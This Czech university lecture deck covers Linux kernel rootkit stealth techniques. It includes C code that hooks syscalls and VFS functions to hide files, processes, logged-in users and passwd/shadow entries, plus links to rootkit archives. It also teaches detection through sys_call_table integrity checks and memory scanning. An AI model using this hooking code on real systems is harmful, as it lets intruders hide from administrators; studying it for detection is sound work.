Vetřelec v systému Linux



Podobné dokumenty
Práce s binárními soubory. Základy programování 2 Tomáš Kühr

Přednáška 2. Systémy souborů OS UNIX. Nástroje pro práci se souborovým systémem. Úvod do Operačních Systémů Přednáška 2

12. Správa souborů. ZOS 2006, L. Pešička

Práce se soubory. Úvod do programování 2 Tomáš Kühr

konec šedesátých let vyvinut ze systému Multics původní účel systém pro zpracování textů autoři: Ken Thompson a Denis Ritchie systém pojmnoval Brian

Úvod do jazyka C. Ing. Jan Fikejz (KST, FEI) Fakulta elektrotechniky a informatiky Katedra softwarových technologií

Lineární spojový seznam (úvod do dynamických datových struktur)

Struktura programu v době běhu

Výpočet v módu jádro. - přerušení (od zařízení asynchronně) - výjimky - softvérové přerušení. v důsledku událostí

Práce se soubory. Základy programování 2 Tomáš Kühr

Systém souborů (file system, FS)

Metody připojování periferií

Programování v C++ 1, 1. cvičení

PB071 Programování v jazyce C

Metody připojování periferií

Základy programování. Úloha: Eratosthenovo síto. Autor: Josef Hrabal Číslo: HRA0031 Datum: Předmět: ZAP

POSIX, Make, CMake. Miroslav Jaroš. PB071 Úvod do nízkoúrovňového programovnání. 29. dubna 2019

Přednáška. Vstup/Výstup. Katedra počítačových systémů FIT, České vysoké učení technické v Praze Jan Trdlička, 2012

for (i = 0, j = 5; i < 10; i++) { // tělo cyklu }

SEMESTRÁLNÍ PROJEKT Y38PRO

Aplikace Embedded systémů v Mechatronice. Michal Bastl A2/713a

IUJCE Přednáška č. 11. další prvky globální proměnné, řízení viditelnosti proměnných, funkcí

LINUX ADRESÁŘOVÁ STRUKTURA. Co to, hrome, je? V této lekci se budeme brouzdat adresáři. SPŠ Teplice - 3.V

Algoritmizace a programování

Michal Krátký. Úvod do programovacích jazyků (Java), 2006/2007

Pokročilé programování v jazyce C pro chemiky (C3220) Operátory new a delete, virtuální metody

Práce se soubory. Úvod do programování 2 Tomáš Kühr

2) Napište algoritmus pro vložení položky na konec dvousměrného seznamu. 3) Napište algoritmus pro vyhledání položky v binárním stromu.

Základní datové struktury

Bitové operátory a bitová pole. Úvod do programování 2 Tomáš Kühr

Knihovna DataBoxLib TXV první vydání prosinec 2010 změny vyhrazeny

ZOS OPAKOVÁNÍ. L. Pešička

LZ77 KNIHOVNA PRO KOMPRESI A DEKOMPRESI DAT POMOCÍ ALGORITMU LZ77. Příručka uživatele a programátora

Rekurzivní algoritmy

Programování v C++ 2, 8. cvičení

8. lekce Úvod do jazyka C 3. část Základní příkazy jazyka C Miroslav Jílek

Spojová implementace lineárních datových struktur

Správa paměti. doc. Ing. Miroslav Beneš, Ph.D. katedra informatiky FEI VŠB-TUO A-1007 /

PROGRAMOVACÍ JAZYKY A PŘEKLADAČE LEXIKÁLNÍ ANALÝZA

Přednáška 5. Identita uživatelů, procesů a souborů. Přístupová práva a jejich nastavení. Úvod do Operačních Systémů Přednáška 5

9. lekce Úvod do jazyka C 4. část Funkce, rekurze Editace, kompilace, spuštění Miroslav Jílek

PA152. Implementace databázových systémů

1. lekce. do souboru main.c uložíme následující kód a pomocí F9 ho zkompilujeme a spustíme:

Vstup a výstup datové proudy v C

Identita uživatelů, přístupová práva. Linux

Ukazatel (Pointer) jako datový typ - proměnné jsou umístěny v paměti na určitém místě (adrese) a zabírají určitý prostor (počet bytů), který je daný

Programování 2 (NMIN102) Soubory. RNDr. Michal Žemlička, Ph.D.

Strojový kód k d a asembler procesoru MIPS SPIM. MIPS - prostředí NMS NMS. 32 ks 32bitových registrů ( adresa registru = 5 bitů).

Implementace seznamů do prostředí DELPHI pomocí lineárního seznamu

1. D Y N A M I C K É DAT O V É STRUKTUR Y

Úvod do programování 8. hodina

Metody připojování periferií BI-MPP Přednáška 2

2 Základní funkce a operátory V této kapitole se seznámíme s použitím funkce printf, probereme základní operátory a uvedeme nejdůležitější funkce.

1. lekce. do souboru main.c uložíme následující kód a pomocí F9 ho zkompilujeme a spustíme:

x86 assembler and inline assembler in GCC

IAJCE Přednáška č. 8. double tprumer = (t1 + t2 + t3 + t4 + t5 + t6 + t7) / 7; Console.Write("\nPrumerna teplota je {0}", tprumer);

Petr Krajča. 26. říjen, 2012

Implementace LL(1) překladů

VISUAL BASIC. Práce se soubory

1. Téma 12 - Textové soubory a výjimky

C++ a vnitřní svět. David Bednárek Jakub Yaghob Filip Zavoral

PROGRAMOVÁNÍ V C++ CVIČENÍ

Opakování programování

Přidělování paměti II Mgr. Josef Horálek

Více o konstruktorech a destruktorech

- jak udělat konstantu long int: L long velka = 78L;

O datových typech a jejich kontrole

Přerušovací systém s prioritním řetězem

NIO. Aplikační programování v Javě (BI-APJ) - 12 Ing. Jiří Daněček Katedra softwarového inženýrství Fakulta informačních technologií ČVUT Praha

Jazyk C práce se soubory. Jan Hnilica Počítačové modelování 16

11. Implementace ovladače ve Windows

Operační systémy. Tomáš Vojnar IOS 2009/2010. Vysoké učení technické v Brně Fakulta informačních technologií Božetěchova 2, Brno

Základní datové typy, proměnné - deklarujeme předem - C je case sensitive rozlišuje malá a velká písmena v názvech proměnných a funkcí

Motivace. Vstup a výstup. Minimální komunikace. Motivace. ÚDPJ - Vstup a výstup. Ing. Lumír Návrat katedra informatiky, A

Linux Teorie operačních systémů a realita

Operační systémy. Cvičení 4: Programování v C pod Unixem

2010/2011 ZS P i r i nc č py po ít č čů a SOUBOROVÝ SUBSYSTÉM

Odvozené a strukturované typy dat

Princip funkce počítače

PB161 Programování v C++ Proudy pro standardní zařízení Souborové proudy Paměťové proudy Manipulátory

Maturitní otázky z předmětu PROGRAMOVÁNÍ

Implementace systémů HIPS: historie a současnost. Martin Dráb

Jazyk C++, některá rozšíření oproti C

Linux CryptoFS. Petr Novický

Bootkity v teorii a praxi. Martin Dráb martin.drab@ .cz

Rekurze. Jan Hnilica Počítačové modelování 12

Základní způsoby: -Statické (přidělění paměti v čase překladu) -Dynamické (přiděleno v run time) v zásobníku na haldě

Strukturované typy a ukazatele. Úvod do programování 1 Tomáš Kühr

Vstupní a vstupní proudy v C++

type Obdelnik = array [1..3, 1..4] of integer; var M: Obdelnik;

Binární soubory (datové, typované)

Vladimír Václavek 2010/2011

Pascal. Katedra aplikované kybernetiky. Ing. Miroslav Vavroušek. Verze 7

PHP a Large Objecty v PostgreSQL

Instalace a konfigurace web serveru. WA1 Martin Klíma

IUJCE 07/08 Přednáška č. 1

Reprezentace dat v informačních systémech. Jaroslav Šmarda

Roury a zprávy Mgr. Josef Horálek

ZPRO v "C" Ing. Vít Hanousek. verze 0.3

Transkript:

Vetřelec v systému Linux Jiří Hýsek xhysek02@stud.fit.vutbr.cz trace@dump.cz trace.dump.cz

Cíl přednášky představit některé techniky, které útočníkovi pomáhají stát se co nejméně nápadným objasnit jejich princip zamyslet se nad možnostmi odhalení útočníka a možnostmi prevence

Jak se stát neviditelným? Aby vetřelec mohl pohodlně žít ve vašem systému, nesmí si jej nikdo všimnout. Proto je třeba zajistit aby ani správce nezjitil, že je vetřelec přihlášen, nebyly vidět procesy, které používá, nebyly vidět soubory, které do systému nahrál, vetřelec měl pohodlný návrat zpět do systému, a možnost kdykoli získat nejvyšší oprávnění a pod..

Skrytí souborů nahrazení programu ls hooknutí syscallu getdents64 hooknutí VFS funkce readdir

Princip hookování systémových volání Předpoklady: Máme v kernelspace upravenou funkci Známe adresu sys_call_table Postup: Uložíme adresu původního syscallu sys_call_table... read write open... sys_read new_read sys_write sys_open Na příspušné místo v sys_call_table zapíšeme adresu naší změněné funkce Poznámky: Při rušení hooku musíme dát vše do pořádku!

Hookování systémových volání Používané prostředky: LKM (loadable kernel module) přímý zápis do /dev/kmem Používané techniky: změna záznamu v sys_call_table změna adresy sys_call_table v handleru přerušení 0x80 změna kódu systémového volání (skok do naší funkce)

výhody x nevýhody (z pohledu útočníka) Výhody: Změna volání má vliv na všechny programy v userspace Možnost dokonalého skrytí v systému Nevýhody: Každá drobná chyba v kódu může způsobit pád celého systému Existují nástroje pro odhalení (kstat, rdetect,...)

Implementace: parametry systémového volání getdents64 getdents64(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count) % ls / bin/ etc/ lib/ root/ tmp/ boot/ homes/ proc/ sbin/ usr/ dev/ var/ bin etc dev var dirent count = 12 dirent->d_name.name = /bin... d_ino d_off d_reclen d_type d_name

způsob odstranění skrytého s záznamu dat 1/2 Odstranění prvního záznamu: size h size 0 hidden bin... tmp var size 1 = size 0 size h bin... tmp var var

způsob odstranění skrytého záznamu z dat 2/2 Odstranění záznamu unvitř dat: prev hidden prev.d_reclen prev.d_reclen += hidden.d_reclen memset(&hidden, 0, hidden.d_reclen) prev 000000 prev.d_reclen

Hooknutí getdents64 Kostra upraveného systémového volání: zavolat původní systémové volání, uložit návratovou hodnotu projít pole s přečtenými directory entries a pro každou z nich: - zjistit, zda odpovídá souboru, který chceme skrýt; pokud ano: - vhodným způsobem odstranit skrytou struktru z bloku dat - případně snížit návratovou hodnotu o velikost smazané struktury vrátit upravenou návratovou hodnotu

Zdrojový kód new_getdents64 long new_getdents64(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count) { struct linux_dirent64 *dirp, *prev = NULL; struct inode *dinode = NULL; char *ptr; long res = (*o_getdents64)(fd, dirent, count); if (res <= 0) return res; ptr = (char *)dirent; while (ptr < (char *)dirent + res) { dirp = (struct linux_dirent64 *) ptr; if (is_hidden(dirp->d_name.name)) { memcpy(ptr, ptr + dirp->d_reclen, (unsigned int)dirent+res - (unsigned int)dirp); res -= dirp->d_reclen; } else ptr += dirp->d_reclen; } return res;

Použití hookování getdents64 pro skrývání souborů Popisovaná technika se využívá např. v těchto rootkitech: Adore Knark KIS SucKit 1.3

Kontrola integrity Pro kontrolu, zda systémová volání jsou v pořádku, můžeme použít podobný princip, jako např. Tripwire používá pro kontrolu souborů. zjistíme adresu používané sys_call_table její obsah porovnáme s dříve uloženou zálohou v případě nesrovnalostí máme možnost dát sys_call_table do původního stavu

adresa používané sys_call_table 1/4 Co se děje při systémovém volání? 1) Program uloží do registru EAX jeho číslo, do dalších registrů parametry a vyžádá přerušení 80h. 2) Adresa obslužné funkce je uložena v IDT (interrupt descriptor table) na pozici dané číslem přerušení. 3) V této funkci program skočí na adresu, která je zapsaná na EAX-té pozici v sys_call_table tedy na funkci požadovaného syscallu.

adresa používané sys_call_table 2/4 Pro nalezení adresy sys_call_table tedy musíme 1) zjistit adresu IDT je uložena v IDTR (IDT register), který získáme instrukcí SIDT limit 4B struct { base IDT register unsigned short limit; unsigned long base; } attribute ((packed)) idtr;... asm ("sidt %0" : "=m" (idtr));

adresa používané sys_call_table 3/4 Pro nalezení adresy sys_call_table tedy musíme 2) zjistit adresu handleru přerušení 80h 2B offset low seg. selector none flags offset high interrupt descriptor idtr.base address = (offset_high << 16) offset_low 128 0 1 2 254 255 8B...... IDT

adresa používané sys_call_table 4/4 Pro nalezení adresy sys_call_table tedy musíme 3) najít adresu sys_call_table v kódu obsluhy int 80h FF 14 85 adresa sys_call_table Najdeme tedy v kódu posloupnost znaků 0xff, 0x14, 0x85, následující 4B v paměti bude adresa sys_call_table ptr = (char*)memmem (handler, 100, "\xff\x14\x85", 3); sys_call_table = *(unsigned*)(ptr + 3);

Příklad kontrola integrity sys_call_table zjistíme adresu IDT v dev kmem najdeme deskriptor na 128 (80h) pozici v IDT z něj zjistíme adresu handleru a najdeme sys_call_table z /dev/kmem čteme od adresy sys_call_table adresy jednotlivých volání a kontrolujeme, zda souhlasí s uloženou zálohou

Hookování funkcí VFS

Virtual file system (VFS) je to vrstva abstrakce zajišťující práci se soubory rozhraní, které používá jádro VFS se stara o provedení správné funkce pro daný souborový systém fd = open( /tmp/file.txt, O_RDONLY); read(fd, buffer, sizeof(buffer)); sys_read fd = open( /mnt/dos/file.txt, O_RDONLY); read(fd, buffer, sizeof(buffer)); sys_read file.txt file_operations read write... file_operations read write... ext2 read_ext2 read_ufs read_fat file.txt fat

Princip hookování VFS 1/3 1) co hookovat? každý soubor má definovanou množinu operací pro práci s ním funkce jsou závislé na souborovém systému struktura file_operations (linux/fs.h) struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char *, size_t, loff_t *); ssize_t (*write) (struct file *, const char *, size_t, loff_t *); int (*readdir) (struct file *, void *, filldir_t); atd...

Princip hookování VFS 2/3 1) jak hookovat? získat a uložit původní adresu funkce ukazatel na původní funkci nahradit ukazatelem na fci naší na konci dát vše do pořádku struct file *file; f = filp_open("/var/log/wtmp", O_RDWR, 0600); if (! IS_ERR(f)) { if (f && f -> f_op) { old_read = f -> f_op -> read; f -> f_op -> read = new_read; } filp_close(f, NULL); } f -> f_op -> read = old_read;

výhody x nevýhody (z pohledu útočníka) Výhody: Hlouběji v jádře než systémová volání (userland je tedy také ovlivněn celý) Často jednodušší hooknuté funkce než v případě hookování syscallů Není potřeba se starat o to, zda parametry ukazují na pamět' v userspace nebo kernelspace Zatím se nějak viditelně nepoužívá většina administrátorů o něm ani neví Nevýhody: Složitější hookování Závislost na filesystému Drobná chyba může způsobit pád systému

Skrytí souboru hooknutím VFS Problém Hook je pro jeden konkrétní filesystém (často však nevadí) Řešení Změnit adresu pro každý souborový systém zvlášť Přesměrovat tok řízení ještě před zvolením konkrétní funkce

Skrývání souborů: hooknutí funkce vfs_readdir 1/5 Systémové volání getdents64 používá funkci vfs_readdir, která volá příslušnou funkci VFS. int vfs_readdir(struct file *file, filldir_t filler, void *buf) {... res = file->f_op->readdir(file, buf, filler);... } Funkce filler dostává přečtená data, soubor po souboru a nastavuje informace o něm do příslušné struktury

Skrývání souborů: hooknutí funkce vfs_readdir 2/5 Pro skrytí souboru tedy potřebujeme přinutit getdents64, aby volal naši funkci místo vfs_readdir změnit vfs_readdir tak, aby používal naší funkci filldir, změnit funkci filldir, tak aby ignorovala požadované soubory. getdents64 vfs_readdir filldir filldir f_ops->readdir new_vfsrd new_filldir new_filldir

Skrytí souborů: hooknutí funkce vfs_readdir 3/5 Jak přinutit getdents64, aby volalo naší funkci místo vfs_readdir? Najít adresu getdents64 (~ sys_call_table[220]). Najít přesnou adresu volání vfs_readdir (instrukce call - 0xe8), - druhá instrukce call (prvni je volani fput) od pocatku getdents64, - délka instrukce (operačního kódu) je 1B, další 4B jsou parametr (není shodný s volanou adresou!). Uložit si původní parametr instrukce call Změnit parametr instrukce call, tak aby call volala naší funkci (adresa funkce = adresa následující instrukce + parametr instrukce call)

Skrytí souborů: hooknutí funkce vfs_readdir 4/5 Změna funkce vfs_readdir tak, aby používala naší funkci new_filldir: int new_vfsrd(struct file *file, filldir_t filldir, void *buf) { real_filldir = filldir; return old_vfs_readdir (file, new_filldir, buf); } real_filldir je proměnná typu filldir_t sem si uložíme původní filldir old_vfs_readdir je původní funkce vfs_readdir

Skrytí souborů: hooknutí funkce vfs_readdir 5/5 Změna funkce filldir tak, aby ignorovala požadované soubory: static int filldir(void * buf, const char * name, int namlen, loff_t offset, ino_t ino, unsigned int d_type) { if (is_hidden(name)) /* pokud funkce vrátí 0, znamená to, že vše proběhlo v pořádku, * jenže v tomto případě se neprovedlo vůbec nic */ return 0; else return real_filldir( buf, name, namelen, offset, ino, d_type); }

Skrývání procesů nahrazení programů ps, lsof apod. hooknutí syscallu getdents64 hooknutí VFS funkce readdir

Skrytí procesu s využitím hookování VFS Skrýt proces znamená skrýt soubor v /proc soubory budou uloženy vždy v 1 konkrétním filesystému je možné využít původní princip není třeba hookovat vfs_readdir, jako u skrývání souborů Navíc máme k dispozici proc_root (struktura proc_dir_entry, linux/proc_fs.h).

Úprava new_getdents64 pro skrývání procesů int proc;... ptr = (char *)dentry; dinode = current->files->fd[fd]->f_dentry->d_inode; if (dinode!=null && dinode->i_ino == PROC_ROOT_INO) proc = 1; while (ptr <... dirp = (struct linux_dirent64 *) ptr; if (is_hidden(dirp->d_name.name, proc)) {... PROC_ROOT_INO je?íslo inodu adresá?e /proc

Skrytí procesu s využitím hookování VFS 1/3 Uložíme si původní readdir old_readdir = proc_root.proc_fops->readdir; Nahradíme ho naší funkcí proc_root.proc_fops -> readdir = new_readdir; Nakonci dáme vše do pořádku proc_root.proc_fops -> readdir = old_readdir; struct proc_dir_entry { unsigned short low_ino; unsigned short namelen; const char *name; mode_t mode; nlink_t nlink; uid_t uid; gid_t gid; unsigned long size; struct inode_operations * proc_iops; struct file_operations * proc_fops; get_info_t *get_info; struct module *owner; struct proc_dir_entry *next, *parent, *subdir;...

Skrytí procesu s využitím hookování VFS 2/3 Další postup je analogický ke skrývání souborů: int new_readdir (struct file *a, void *b, filldir_t c) { real_filldir = c; return old_readdir (a, b, new_filldir); }

Skrytí procesu s využitím hookování VFS 3/3 Příklad funkce new_filldir (skryjí se všechny procesy uživatele s UID = HIDDEN_UID): static int filldir(void * buf, const char * name, int namlen, loff_t offset, ino_t ino, unsigned int d_type) { struct task_struct *task; for_each_task(task) if (task->pid == atoi(name) && task->uid == HIDDEN_UID ) return 0; return real_filldir( buf, name, namelen, offset, ino, d_type); }

Skrývání souborů a procesů: příklady implementace Hookování getdents64: http://hysteria.sk/~trace/hider_syscalls.tar.bz2 http://packetstormsecurity.org/unix/penetration/rootkits/knark-2.4.3.tgz http://packetstormsecurity.org/unix/penetration/rootkits/kis-0.9.tar.gz Hookování vfs_readdir: http://hysteria.sk/~trace/hider_vfs.tar.bz2 http://packetstorm.trustica.cz/groups/teso/adore-ng-0.31.tgz

Možnosti odhalení skrytých procesů Obecná metoda pro nalezení skrytých procesů: není závislá na způsobu skrývání vyhledává procesy v /dev/kmem (nevyžaduje podporu LKM) je založena na vyhledání vzorků dat v /dev/kmem, které odpovídají struktuře task_struct (viz linux/sched.h) problémy s lišící se strukturou task_struct na různých jádrech Při použití LKM máme situaci velmi usnadněnou a ve většině případů je tento přístup dostačující (viz. později)

rozpoznání struktury task_struct struct task_struct { volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */ unsigned long flags; /* per process flags, defined below */ int sigpending; mm_segment_t addr_limit; /* pro kernel 0xc0000000 */ struct exec_domain *exec_domain; /* ukazuje do kernelspace */ volatile long need_resched; unsigned long ptrace;... - task_struct začíná vždy počátkem pamětové stránky (4096 B) - ukazatele na různé struktury ukazují do kernelspace (>= 0xc000000 nebo NULL) - stav procesu (> -1) - PID > 0, UID >=0, GID >= 0, apod...

algoritmus vyhledávání procesů - posun na počáteční adresu (např. 0xc0000000) - dokud nejsme na koncové adrese: - zvýšíme aktuální adresu o stránku (4096 B) - přečteme číslo z aktuální pozice, je-li menší než -1, ostatní přeskočíme a pokračujeme další iterací - postupně načítáme další proměnné, u nichž známe rozsah, ve kterém se jejich hodnota pohybuje (nebo přímo hodnotu, apod..), jako např. ukazatele, PID, UID, apod. V případě, že hodnota leží mimo, pokračujeme další iterací - pokud již nemáme co ověřovat, oznámíme, že jsme našli proces. Nalezené procesy porovnáme s výpisem programu ps.

použití LKM Všechny procesy můžeme projít makrem for_each_process (linux/sched.h): #include <linux/sched.h>... struct task_struct task; for_each_process(&task) { printk( <7>Process '%s', pid=%d\n, task.comm, task.pid); } Můžeme využít předcházející postup, task_struct máme dostupnou, paměť také. Výhodou je, že nemáme problémy s task_struct.

Skrývání záznamů v souborech K čemu může sloužit? zneviditelnění přihlášeného uživatele skrytí informací o uživatelích skrytí aktivních síťových spojení apod.

Skrývání záznamů v souborech: techniky Hooknutí systémového volání read: ssize_t read(int fd, void *buf, size_t count); fd deskriptor čteného souboru buf ukazatel na paměť, ve které jsou uložena přečtená data (userspace) count počet přečtených bajtů Název čteného souboru: f = fget(fd); f->f_dentry->d_name.name Hooknutí VFS funkce read: ssize_t read (struct file *f, char user *buf, size_t count, loff_t *offset); f struktura file popisující čtený soubor buf ukazatel na paměť, ve které jsou uložena přečtená data (kernelspace) count počet přečtených bajtů offset pozice v souboru Název čteného souboru: f->f_dentry->d_name.name

Skrývání záznamů v souborech: kostra hooknuté funkce Kostra upraveného systémového volání read: ssize_t new_read(unsigned int fd, char *buf, size_t size) { ssize_t res = old_read(fd, buf, size); /* zavoláme původní read a uložíme návratovou hodnotu */ char buffer[4096] = {0}; struct file *f = fget(fd); /* přečtená data uložíme do kernelspace bufferu */ copy_from_user(buffer, buf, sizeof(buffer)); } if (f && f->f_dentry) { /* manipulace s daty změny provádíme v buffer-u */ copy_to_user(buf, buffer, sizeof(buffer)); /* upravená data uložíme zase zpět do userspace */ } return res;

Skrývání záznamů v souborech: kostra hooknuté funkce Kostra upravené VFS funkce read: ssize_t new_read(struct file *f, char *buffer, size_t count, loff_t *ppos) { /* zavoláme původní funkci a uložíme si návratovou hodnotu */ ssize_t res = old_read(f, buffer, count, ppos); } /* manipulace s daty změny provádíme v buffer-u */ return res; buffer ukazuje do kernelspace nemusíme kopírovat jednodušší než u systémového volání

Zneviditelnění přihlášeného uživatele Odstranění záznamu ze souboru /var/run/utmp. zjistíme, zda se čte ze souboru utmp programy who nebo w čtou data po blocích o velikosti struktury utmp zjistíme uživatele, kterého tento záznam je V případě, že to je skrytý uživatel, vrátíme 0 (znamená to že bylo přečeteno 0 bajtů) a přečtený buffer vynulujeme if (!strcmp(filename, "utmp")) { struct utmp *utmp_entry = (struct utmp *) buf; if (utmp_entry &&!strcmp(utmp_entry->ut_user, HIDDEN_USERNAME)) { memset(utmp_entry, 0, sizeof(struct utmp)); return 0; } }

Zneviditelnění přihlášeného uživatele: obrana Vlastní nástroj who, který čte data ze souboru utmp bajt po bajtu. Hooknutá funkce tedy nikdy nemůže v čteném bufferu (o délce 1B) najít uživatelské jméno, které chce útočník skrýt. memset(&record, 0, sizeof(record)); ptr = (char *)&record; while ((ch = fgetc(fd))!= EOF) { ptr[index] = ch; i++; index = i % sizeof(record); if ((i % sizeof(record)) == 0) { if (record.ut_type == USER_PROCESS) printf("%s\t%s\n", record.ut_user, record.ut_line); memset(&record, 0, sizeof(record)); } } struct utmp record jeden záznam souboru utmp FILE *fd deskriptor souboru /var/run/utmp otevřeného pro čtení char *ptr ukazatel na aktuální pozici ve struktuře record

odstranění uživatele ze systému Skryjeme záznam z /etc/passwd a /etc/shadow pro všechny programy, kromě login a sshd. zkontrolujeme název procesu, který funkci volá (current->comm) pokud to není sshd nebo login, pokračujeme dál zkontrolujeme název souboru, který čteme pokud to je passwd nebo shadow, pokračujeme dál pokud buffer obsahuje login skrytého uživatele, odstraníme řádek, na kterém se login nachází

odstranění uživatele ze systému Skryjeme záznam z /etc/passwd a /etc/shadow pro všechny programy, kromě login a sshd. if (strcmp(current->comm, "login") && strcmp(current->comm, "sshd") && (!strcmp(filename, "passwd")!strcmp(filename, "shadow"))) { if (strstr(buffer, HIDDEN_USERNAME)) res -= remove_line(buffer, HIDDEN_USERNAME); } Funkce remove_line odstraní daný řádek z bufferu. Její implementaci najdete v materiálech k této přednášce (dostupné na webu).

Materiály k této přednášce Všechny materiály k této přednášce prezentace a ukázkové zdrojové kódy ke všem popisovaným technikám naleznete zde: http://hysteria.sk/~trace/unix_sec.tar.bz2 Další související materiály můžete najít i na http://trace.dump.cz.